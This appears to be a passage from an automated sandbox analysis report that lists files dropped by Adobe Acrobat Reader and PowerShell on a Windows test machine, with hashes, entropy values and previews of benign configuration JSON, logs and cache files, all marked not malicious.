Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.266719443427724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfbPtdPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGDV8Ukee9
MD5:	90E3EFF8EBDE417622E288623BDD15AB
SHA1:	28638428C2BCEF764E39645057DBE97C235BB67B
SHA-256:	277DE955D0E27370A8F840DDF6701CFEF1B16FD2EEED128D6B0E90C1EFFE33B7
SHA-512:	8CCF030C59FAAF0669BFFED6C3D0A1F9F38837A5D40BCC7EE98A89241626276A86F0C8558DF552B4B3C21910DD2BC36D8E747512E9C615DC85D6E1A29E379F56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265823726489136
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJf21rPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOG+16Ukee9
MD5:	AE1D20F19922856ADCCC7287CCFA1B86
SHA1:	A6BB7E028A4C90EFD5F0C00FA417EED0722EE7CA
SHA-256:	E0FC6F2D2697100759EF9DA1CC45B1EA5A2FC26579A011E1B7E5A914D06B89E1
SHA-512:	16ABD0BFB458A20F15482A19CDE958F7A714CFE964BDA97A2EE038CF0C811808F47A7B7C9756F55E3A30A1C0ADBEE5B08EBFB5E75F3309C9F7CBE23D70C495EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664632538463847
Encrypted:	false
SSDEEP:	24:Yv6X+UVRrJhqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:YvWrJhkBgkDMUJUAh8cvMo
MD5:	E4458272820449E16590D80E85ADA576
SHA1:	8A6B72F9D06A66C72F20FF14B23065B0C1778E89
SHA-256:	E8B7147A6955FC942BD875F1FB77D09E7A006BDC364B1CB9F2BA66C9AD51EDB8
SHA-512:	060DFB923B8850CC7A90FDCABEAEF672DDBD753ED1F168B21FC96BF50B0E37846EABB691B09199E69F00643DFA770EACAA31E05681E8E8AF7D61597A60127F29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241089938737943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJfshHHrPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGUUUkee9
MD5:	EE84F823CE4C103F651429FAB3E8FD14
SHA1:	946642B09705AD238E903EB75C38B884B93AFF76
SHA-256:	F02AF64AFB85472B995FDA2DCBAE9C21AD5359649596A8B6F18826C268369B56
SHA-512:	69C7AD45CFE816A67C5C75E28A49269F6057EE68A2B50CCAC09EC1B4C2FE017F9512C03EAF5E47E39F488F6A03A7B59717BF05FA42F472AB58D502FEF9C10ABC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263503070478191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEwCGPIsBRs2vB3/dVlPIHAR0YM7xxoAvJTqgFCrPeUkwRe9:YvXKXbCUIkRs2vR/ZwHAgxOGTq16Uke6
MD5:	FDF1A2CB2BD14C835A864D425DA8434D
SHA1:	091CDF045E917BB882E3377DFFD523D3739843A2
SHA-256:	B8E283BF178B70D609E7769897BAB51A6780A7C411024DCDFE3361731BF5D43A
SHA-512:	F28B758EDB4186F2485927BA9DCE561B9EC3DC472D519E028E352508E975E675BF775EB7692B8BE2986683E215028B9C9EC1AACE1ABB5991338AD0B7AF3528A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a99d39e-5fa3-4c51-b38b-3ff2e48a6cc3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736735288755,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131279055098403
Encrypted:	false
SSDEEP:	24:Y6ZZaNe60JhayuqT4mrfLLRc9siN0WtjjOxHsj0ShKlx2Fl2LSjCrd61Z7C5bIuM:Y6SLg4klSN0IOx+EfmlBcd61ZOKu9ne
MD5:	614A9A9D7CADC7D62A724A27F204B588
SHA1:	97D6CBBA492F075849BC355589C3611938F8EED5
SHA-256:	C23D19FD8E6A0596BD84646231ECD22CA92CA24441C79AFFF5B685C0D00560C8
SHA-512:	44FFD3EAD76FAE5D0AAD935BCF10521245D789B5B6AD2F1E5836D7F934A2793EAF7E0AB553098C8775EDD30BAB18FBED230A49FDB0CB10D7FC760D91AE48124A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"deef69a0cb0f2127be3a3c769f90a051","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558993000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"56818ec6d952f54605a70983d7088ae6","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558993000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"dba0c82a3953fe46bf5e9acb20dd9c4d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558993000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"79a3661096355bdeeae1e24954474cd3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558993000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e9c9bf852ce5dd402531d0fe8e90c060","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558993000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"79324ee0a749edcfbbfdf56d38fb446f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319847223437505
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeY5EtqVR:TGufl2GL7ms9WR1CPmPbPahYUypilIqi
MD5:	A04EF1B466F0A2351330D70CB3F140D7
SHA1:	1CB758ADD1B3B177E436AB6B8FC7BEBDF2934039
SHA-256:	ED390ACBBB77FEDC65B33CFE56E68C8D1D2F342A30A51F1AACB3791BDCB13C5E
SHA-512:	CC80600BD9738C2672027B8CE555F16361763A0626B29E9FDA41410F71C0B694C52020F8A19019A51C7525A2F537158A160778A100E8FEA526E7EC389C97ECD3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7829845898889294
Encrypted:	false
SSDEEP:	48:7MyWR1CPmPbPahYxypilIzrRqFl2GL7ms9:77WfMwbPahwmrRKVms9
MD5:	3125957D44DF7E564EDAC0AF9F2B6C5B
SHA1:	EBAE3399B9DAD90F8A64484C5EDDAD992F704265
SHA-256:	A23D9F9D31CB4DD449DDFD44E15D9556448EF7567372B4688A51FF8AF4FCEC60
SHA-512:	47761F08BA04D4AC58F3EA04A2F1C5FADED9E0D5EBB60638A93432A34EFDCD8C607B4C90A6BCEB4B20FC1EDB4F0A80910F1ECC530915D5BE3824374751A2D5B4
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkcLT4atLOydjlMr+MD7+g18sUYyu:6a6TZ44ADEkcLT4oLOydjgLUK
MD5:	0D7B347F83824B25BFC91B4A25842F39
SHA1:	DEF1E95BD5BBC996DC507DA149BC572339F77560
SHA-256:	D799477613C96A377C6BDF52BF8626059940938F8E4D8A1ED978227B7052D642
SHA-512:	A50DB91CFE4E9FF115344A83DC5FDD292EE61E3C9542DB6C92868736C30884075BFFBB8847853CA44DE49933D6C7A696EEC914FCF72C5C002CFF50895011A9B4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI147bb.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEKw:Qw946cPbiOxDlbYnuRK+bmw
MD5:	9D887AD6FFE946EC0C24AA312BD678A2
SHA1:	BBA8869AFCD39B2BC655EAB52CFDF71C33C1C8FD
SHA-256:	A650FC51E59600C400966D1B0AC51CA951886C8B199DFC89C5231B479A2C4A03
SHA-512:	8A809BC336F3C89210E7E3B2E53B14B1C9E232BC006D104354918840BE612B1802FFFC5186BCCAFB7DE31CBA0428DFC0D3F4D956D69CE417285ADEF51E2BCA9A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.2.9.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lr5oqsna.ehy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xadvdttx.b4k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-29-49-257.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.380012722872739
Encrypted:	false
SSDEEP:	384:i2E5g5L4Q4Q4X4Mp4L4I0434+4A4+/B/7uY656bx5xbxgAVIAVlAVoAVcXG5GZG/:4ed90xN
MD5:	08910F9B32D422BF8006282C227E1A1D
SHA1:	22DBAD5960DF17DF68C208F78DD0E4A769A1E33B
SHA-256:	6B8CB9EF9F7340E7652BD8E91B42C3F9C71A52AB1B7850B0ED64CD4583E3CF66
SHA-512:	3124335C3D90873A10C738F0991DCF7587E8022080B48E8AA9A32D416F220F6FB13B719A4207F308A3428B8CF0808370641A76588E65404ABDDDCDFC7D9934BD
Malicious:	false
Preview:	SessionID=04c833ba-f180-47f9-97da-17267102c9ab.1736558989284 Timestamp=2025-01-10T20:29:49:284-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=04c833ba-f180-47f9-97da-17267102c9ab.1736558989284 Timestamp=2025-01-10T20:29:49:290-0500 ThreadID=7648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=04c833ba-f180-47f9-97da-17267102c9ab.1736558989284 Timestamp=2025-01-10T20:29:49:290-0500 ThreadID=7648 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=04c833ba-f180-47f9-97da-17267102c9ab.1736558989284 Timestamp=2025-01-10T20:29:49:291-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=04c833ba-f180-47f9-97da-17267102c9ab.1736558989284 Timestamp=2025-01-10T20:29:49:291-0500 ThreadID=7648 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40825904916031
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb3ucbQIxhcbh:ceo4+rsCJRxm
MD5:	6135EECA80B4C4F4A9463A3BD892A1F1
SHA1:	978F52FE3E44B292394DF6300D46ABD144DDD11B
SHA-256:	54A06328AF580D3898C5684DE84CA1FB4386FCC1D47B4B7B37BA2C2666801E3A
SHA-512:	7D6D6D118E17FF0EE36B5A13849D55CF3F07373F4E6C2136E308F7BA17EE95D1F6271B817976564D6FE432027AE018E0C279157ABA3FA2E1D9717BEA0775C8C3
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\53bf8768-50b9-4cf4-ad23-7a56ca87f521.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLqGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLqGZo
MD5:	A7FC393C08F49DBD303A1FA16AB7FC94
SHA1:	49109AC00B901DB4B4A6BBBE3E96F45F67756A31
SHA-256:	8F26BC8B8E7790F93E622E4E5BB7D1EEA150A9D74098C9EB54D5750FB7D14251
SHA-512:	54E884DC6E0AB4E061AA91B88CFF9E2796B09549B13A172E8384DD1B9FFEBEA4EA280BCAB26089F74705C9880AA52D007C63939C97E1464300329FE92D622597
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cedc673a-e6db-4ab9-b843-a671351a4330.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fbb1de6d-2de5-4c83-a1f8-a5dbb0430405.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
